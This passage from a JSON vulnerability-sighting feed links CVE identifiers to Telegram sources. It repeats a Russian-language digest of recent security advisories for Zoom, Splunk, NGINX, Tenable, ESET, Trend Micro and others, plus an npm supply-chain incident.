\u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. F5 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n4. \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Trend Micro, ESET, Tenable \u0438 Tanium \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\nTenable\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Tenable Agent. CVE-2026-15265 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\nESET\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Inspect Connector \u0434\u043b\u044f Windows, \u0430 Tanium\u00a0- \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 DoS, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 Tanium Server.\n\nTrend Micro\u00a0\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cleaner One Pro \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b Trend Micro, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Bitdefender \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u0430\u0442\u0430\u043a, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a Windows \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 EDR.\n\n6. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432 \u043d\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Exchange Server (CVE-2026-42897, CVSS 8,1)\n\n7. \u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0435 Shark \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u044b \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n8. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Node (npm) \u0431\u044b\u043b\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u044b \u043f\u044f\u0442\u044c \u0432\u0440\u0435\u0434\u043e\u043d\u043e\u0441\u043d\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u0439 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 AsyncAPI (\u0441\u0443\u043c\u043c\u0430\u0440\u043d\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u0435\u0436\u0435\u043d\u0435\u0434\u0435\u043b\u044c\u043d\u044b\u0445 \u0437\u0430\u0433\u0440\u0443\u0437\u043e\u043a \u043f\u0440\u0435\u0432\u044b\u0441\u0438\u043b\u043e 2,25 \u043c\u043b\u043d.), \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b\u0438 \u0442\u0440\u043e\u044f\u043d \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438 \u043a\u0440\u0430\u0436\u0438 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438.", "creation_timestamp": "2026-07-16T19:00:32.298709Z"}, {"uuid": "507eb0b8-43f8-4c38-a78a-0b0795d7d7f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20253", "type": "seen", "source": "Telegram/wihZfhaQT2qHw0wLZ8sk5tSU7nS9hHHdvUYjPR1ZKZ5oBq0", "content": "", "creation_timestamp": "2026-07-16T19:00:27.710518Z"}, {"uuid": "c2bb21bb-cb59-44f7-ac53-3e92ec2e7801", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20896", "type": "seen", "source": "Telegram/TB3sUB_uu5WF_jRq8K66TTyRIaSSs7xyuOpmS1TasPtzRF4", "content": "", "creation_timestamp": "2026-07-16T19:00:24.948029Z"}, {"uuid": "e29e7c35-14d5-4111-b802-70af2e2149c6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20251", "type": "seen", "source": "Telegram/MrO6V-Nf2RKKH_1IyOTTVmBid2k-chlt5XNWWiXZdJ3An5Q", "content": "", "creation_timestamp": "2026-07-16T19:00:30.021341Z"}, {"uuid": "f2baf32f-be85-4c7d-a574-839dfbc2407f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-20297", "type": "seen", "source": "https://t.me/true_secator/8417", "content": "\u041f\u0440\u043e\u0434\u043e\u043b\u0436\u0430\u0435\u043c \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u0442\u044c \u043d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0442\u0440\u0435\u043d\u0434\u043e\u0432\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0438 \u0443\u0433\u0440\u043e\u0437\u044b:\n\n1. Zoom \u043f\u0440\u0435\u0434\u0443\u043f\u0440\u0435\u0436\u0434\u0430\u0435\u0442 \u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432 \u0441\u0432\u043e\u0435\u043c \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u043e\u043c \u043a\u043b\u0438\u0435\u043d\u0442\u0435 \u0438 \u043a\u043e\u043c\u043f\u043b\u0435\u043a\u0442\u0435 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u043a\u0438 \u041f\u041e \u0434\u043b\u044f Windows, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u043d\u0435\u0430\u0432\u0442\u043e\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u043c \u043b\u0438\u0446\u043e\u043c \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0437\u0430\u043f\u0438\u0441\u0435\u0439.\n\nCVE-2026-53412 (CVSS 9,8) \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 Zoom Workplace \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0, Windows VDI Client \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.10, 6.6.15 \u0438 6.5.18, \u0430 \u0442\u0430\u043a\u0436\u0435 Meeting SDK \u0434\u043b\u044f Windows \u0432\u0435\u0440\u0441\u0438\u0439 \u0434\u043e 7.0.0.\n\n\u041f\u043e\u0441\u0442\u0430\u0432\u0449\u0438\u043a \u043d\u0435 \u043f\u0440\u0435\u0434\u043e\u0441\u0442\u0430\u0432\u0438\u043b \u043d\u0438\u043a\u0430\u043a\u0438\u0445 \u0442\u0435\u0445\u043d\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0435\u0439, \u0430 \u043b\u0438\u0448\u044c \u043e\u043f\u0438\u0441\u0430\u043b \u0435\u0433\u043e \u043a\u0430\u043a \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0443 \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u0432\u0445\u043e\u0434\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n2. Splunk \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u044b\u043f\u0443\u0441\u043a\u0435 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0434\u043b\u044f \u043c\u043d\u043e\u0436\u0435\u0441\u0442\u0432\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0432\u043a\u043b\u044e\u0447\u0430\u044f \u043d\u0435\u0441\u043a\u043e\u043b\u044c\u043a\u043e \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0434\u0435\u0444\u0435\u043a\u0442\u043e\u0432. \u0418\u0437 \u043f\u044f\u0442\u0438 \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u0438\u0439 \u0442\u043e\u043b\u044c\u043a\u043e \u0442\u0440\u0438 \u043a\u0430\u0441\u0430\u044e\u0442\u0441\u044f \u043d\u0435\u0434\u043e\u0441\u0442\u0430\u0442\u043a\u043e\u0432 \u0432 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445, \u0434\u0432\u0430 \u0434\u0440\u0443\u0433\u0438\u0445 \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0442 \u0434\u0435\u0441\u044f\u0442\u043a\u0438 \u043e\u0448\u0438\u0431\u043e\u043a \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0430\u0445 \u0441\u0442\u043e\u0440\u043e\u043d\u043d\u0438\u0445 \u0440\u0430\u0437\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432.\n\n\u041a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044f\u043c, \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u043d\u044b\u043c \u0434\u043b\u044f Splunk, \u043e\u0442\u043d\u043e\u0441\u044f\u0442\u0441\u044f CVE-2026-20296 (\u043e\u0431\u0445\u043e\u0434 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0437\u0430\u0449\u0438\u0442\u044b \u043a\u043e\u043c\u0430\u043d\u0434 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438), CVE-2026-20297 (\u043e\u0431\u0445\u043e\u0434 \u043f\u0443\u0442\u0438 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u0432\u044b\u0441\u043e\u043a\u043e\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438) \u0438 CVE-2026-20298 (\u0440\u0430\u0441\u043a\u0440\u044b\u0442\u0438\u0435 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u0441\u0440\u0435\u0434\u043d\u0435\u0439 \u0441\u0442\u0435\u043f\u0435\u043d\u0438 \u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438).\n\n\u0423\u0441\u043f\u0435\u0448\u043d\u0430\u044f \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u043a \u0443\u0447\u0435\u0442\u043d\u044b\u043c \u0434\u0430\u043d\u043d\u044b\u043c \u0438 \u0434\u0430\u043d\u043d\u044b\u043c, \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u0444\u0430\u0439\u043b\u044b \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u0430\u043c\u0438 \u043f\u0440\u0435\u0434\u043f\u043e\u043b\u0430\u0433\u0430\u0435\u043c\u043e\u0433\u043e \u043a\u0430\u0442\u0430\u043b\u043e\u0433\u0430 \u043f\u0440\u0438\u043b\u043e\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u043e\u0441\u043c\u0430\u0442\u0440\u0438\u0432\u0430\u0442\u044c \u0441\u043e\u0445\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0435 \u0445\u044d\u0448\u0438 \u0443\u0447\u0435\u0442\u043d\u044b\u0445 \u0434\u0430\u043d\u043d\u044b\u0445.\n\n3. F5 \u043e\u0431\u044a\u044f\u0432\u0438\u043b\u0430 \u043e \u0432\u043d\u0435\u043f\u043e\u043b\u043e\u0441\u043d\u043e\u043c \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0438 \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0443\u0441\u0442\u0440\u0430\u043d\u044f\u044e\u0449\u0435\u043c \u0432\u043e\u0441\u0435\u043c\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 NGINX \u0438 BIG-IP.\n\n\u041d\u0430\u0438\u0431\u043e\u043b\u0435\u0435 \u0441\u0435\u0440\u044c\u0451\u0437\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c - CVE-2026-42533 (CVSS 9.2), \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u0430 \u0432 NGINX Plus \u0438 NGINX Open Source, \u043c\u043e\u0436\u0435\u0442 \u0431\u044b\u0442\u044c \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0430 \u0434\u043b\u044f \u0432\u0437\u043b\u043e\u043c\u0430 \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0441\u0444\u043e\u0440\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0445 HTTP-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u0432\u044b\u0437\u044b\u0432\u0430\u044e\u0449\u0438\u0445 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u0431\u0443\u0444\u0435\u0440\u0430 \u043a\u0443\u0447\u0438 \u0438 \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a \u0440\u0430\u0431\u043e\u0447\u0435\u0433\u043e \u043f\u0440\u043e\u0446\u0435\u0441\u0441\u0430 NGINX.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a \u043c\u043e\u0436\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438. F5 \u043d\u0435 \u0443\u043f\u043e\u043c\u0438\u043d\u0430\u0435\u0442 \u043e \u0441\u043b\u0443\u0447\u0430\u044f\u0445 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u044d\u0442\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n4. \u0412 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435 \u0418\u0411-\u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 Trend Micro, ESET, Tenable \u0438 Tanium \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0438 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439. \n\nTenable\u00a0\u0441\u043e\u043e\u0431\u0449\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u0430\u043c \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043e\u0431\u0445\u043e\u0434\u0430 \u043f\u0443\u0442\u0438 \u0432 Tenable Agent. CVE-2026-15265 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430.\n\nESET\u00a0\u0443\u0432\u0435\u0434\u043e\u043c\u0438\u043b\u0430 \u043a\u043b\u0438\u0435\u043d\u0442\u043e\u0432 \u043e\u0431 \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u0438 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0432 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0435 Inspect Connector \u0434\u043b\u044f Windows, \u0430 Tanium\u00a0- \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 DoS, \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0432\u0448\u0435\u0439 Tanium Server.\n\nTrend Micro\u00a0\u043e\u0431\u0440\u0430\u0434\u043e\u0432\u0430\u043b\u0430 \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 Cleaner One Pro \u043e \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u043e\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043b\u043e\u043a\u0430\u043b\u044c\u043d\u043e\u0433\u043e \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u044f \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0443\u0434\u0430\u043b\u0438\u0442\u044c \u0444\u0430\u0439\u043b\u044b Trend Micro, \u0438\u043c\u0435\u044e\u0449\u0438\u0435 \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0438.\n\n5. \u0418\u0441\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u0438 Bitdefender \u043f\u0440\u043e\u0434\u0435\u043c\u043e\u043d\u0441\u0442\u0440\u0438\u0440\u043e\u0432\u0430\u043b\u0438 \u0442\u0440\u0438 \u043c\u0435\u0442\u043e\u0434\u0430 \u0430\u0442\u0430\u043a, \u0441 \u043f\u043e\u043c\u043e\u0449\u044c\u044e \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u043c\u043e\u0436\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u0438\u0432\u044f\u0437\u043a\u0443 \u0441\u0441\u044b\u043b\u043e\u043a Windows \u0434\u043b\u044f \u043e\u0431\u0445\u043e\u0434\u0430 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 EDR.\n\n6. Positive Technologies \u0432\u044b\u043a\u0430\u0442\u0438\u043b\u0430 \u0441\u0432\u043e\u0439 \u0438\u044e\u043b\u044c\u0441\u043a\u0438\u0439 \u00ab\u0412 \u0442\u0440\u0435\u043d\u0434\u0435 VM\u00bb, \u043e\u0442\u043c\u0435\u0442\u0438\u0432 \u0432 \u043d\u0435\u043c \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 Microsoft Exchange Server (CVE-2026-42897, CVSS 8,1)\n\n7. \u041d\u0435\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0432 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u0435 Shark \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c \u043a\u043e\u043d\u0442\u0440\u043e\u043b\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u0434\u0440\u0443\u0433\u0438\u0435 \u043f\u044b\u043b\u0435\u0441\u043e\u0441\u044b \u0432 \u043c\u0430\u0441\u0448\u0442\u0430\u0431\u0430\u0445 \u0432\u0441\u0435\u0433\u043e \u0440\u0435\u0433\u0438\u043e\u043d\u0430.\n\n8. \u0412 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0435 \u0430\u0442\u0430\u043a\u0438 \u043d\u0430 \u0446\u0435\u043f\u043e\u0447\u043a\u0443 \u043f\u043e\u0441\u0442\u0430\u0432\u043e\u043a \u0432 \u043c\u0435\u043d\u0435\u0434\u0436\u0435\u0440 \u043f\u0430\u043a\u0435\u0442\u043e\u0432 Node (npm) \u0431\u044b\u043b\u0438 